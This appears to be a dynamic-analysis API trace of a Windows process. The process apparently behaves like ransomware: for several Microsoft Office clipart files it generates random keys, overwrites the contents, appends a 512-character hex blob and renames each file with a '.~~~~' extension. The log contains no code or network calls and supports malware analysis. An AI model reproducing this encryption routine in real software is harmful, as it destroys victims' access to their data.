	[0091.805] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.805] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.805] CloseHandle (hObject=0x134) returned 1
	[0091.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1860
	[0091.805] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.~~~~")) returned 1
	[0091.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1860 | out: hHeap=0x300000) returned 1
	[0091.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.806] GetLastError () returned 0x0
	[0091.806] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.807] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.807] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.807] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21179715522) returned 1
	[0091.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa07f8dd0, dwHighDateTime=0x1d60e1e)) 
	[0091.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9490
	[0091.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9490 | out: hHeap=0x300000) returned 1
	[0091.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1860
	[0091.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x388c58
	[0091.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1860 | out: hHeap=0x300000) returned 1
	[0091.808] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.808] GetLastError () returned 0x0
	[0091.808] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.808] GetLastError () returned 0x0
	[0091.810] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffc6a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.810] WriteFile (in: hFile=0x134, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3960, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3960, lpOverlapped=0x0) returned 1
	[0091.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.811] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.811] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.811] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.811] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.811] CloseHandle (hObject=0x134) returned 1
	[0091.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.811] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.~~~~")) returned 1
	[0091.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.812] GetLastError () returned 0x0
	[0091.812] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.813] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.813] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.814] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21180373378) returned 1
	[0091.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa07f8dd0, dwHighDateTime=0x1d60e1e)) 
	[0091.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9458
	[0091.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9458 | out: hHeap=0x300000) returned 1
	[0091.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x388cf0
	[0091.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.821] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.822] GetLastError () returned 0x0
	[0091.822] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.822] GetLastError () returned 0x0
	[0091.825] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffcb1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.825] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x34e2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x34e2, lpOverlapped=0x0) returned 1
	[0091.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.826] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.826] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.826] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.826] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.826] CloseHandle (hObject=0x134) returned 1
	[0091.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.828] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.~~~~")) returned 1
	[0091.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.828] GetLastError () returned 0x0
	[0091.829] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.830] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.830] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.841] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21183095444) returned 1
	[0091.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0845090, dwHighDateTime=0x1d60e1e)) 
	[0091.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387338
	[0091.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387338 | out: hHeap=0x300000) returned 1
	[0091.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x388d88
	[0091.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.841] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.842] GetLastError () returned 0x0
	[0091.842] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.842] GetLastError () returned 0x0
	[0091.843] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff17a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.843] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xe86, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0xe86, lpOverlapped=0x0) returned 1
	[0091.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.844] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.844] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.844] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.844] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.845] CloseHandle (hObject=0x124) returned 1
	[0091.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1da0
	[0091.845] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.~~~~")) returned 1
	[0091.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1da0 | out: hHeap=0x300000) returned 1
	[0091.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.845] GetLastError () returned 0x0
	[0091.846] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.847] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.847] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.847] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21183747992) returned 1
	[0091.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa086b1f0, dwHighDateTime=0x1d60e1e)) 
	[0091.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387370
	[0091.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387370 | out: hHeap=0x300000) returned 1
	[0091.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1da0
	[0091.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x388eb8
	[0091.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1da0 | out: hHeap=0x300000) returned 1
	[0091.848] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.848] GetLastError () returned 0x0
	[0091.848] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.848] GetLastError () returned 0x0
	[0091.850] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffa44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.850] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x5bc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x5bc, lpOverlapped=0x0) returned 1
	[0091.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.851] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.851] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.851] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.851] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.851] CloseHandle (hObject=0x124) returned 1
	[0091.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1e48
	[0091.851] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.~~~~")) returned 1
	[0091.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1e48 | out: hHeap=0x300000) returned 1
	[0091.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.852] GetLastError () returned 0x0
	[0091.852] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.853] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.853] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.853] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21184335570) returned 1
	[0091.853] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa086b1f0, dwHighDateTime=0x1d60e1e)) 
	[0091.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3873a8
	[0091.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3873a8 | out: hHeap=0x300000) returned 1
	[0091.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1e48
	[0091.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x388f50
	[0091.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1e48 | out: hHeap=0x300000) returned 1
	[0091.854] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.854] GetLastError () returned 0x0
	[0091.854] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.854] GetLastError () returned 0x0
	[0091.856] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffa88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.856] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x578, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x578, lpOverlapped=0x0) returned 1
	[0091.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.856] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
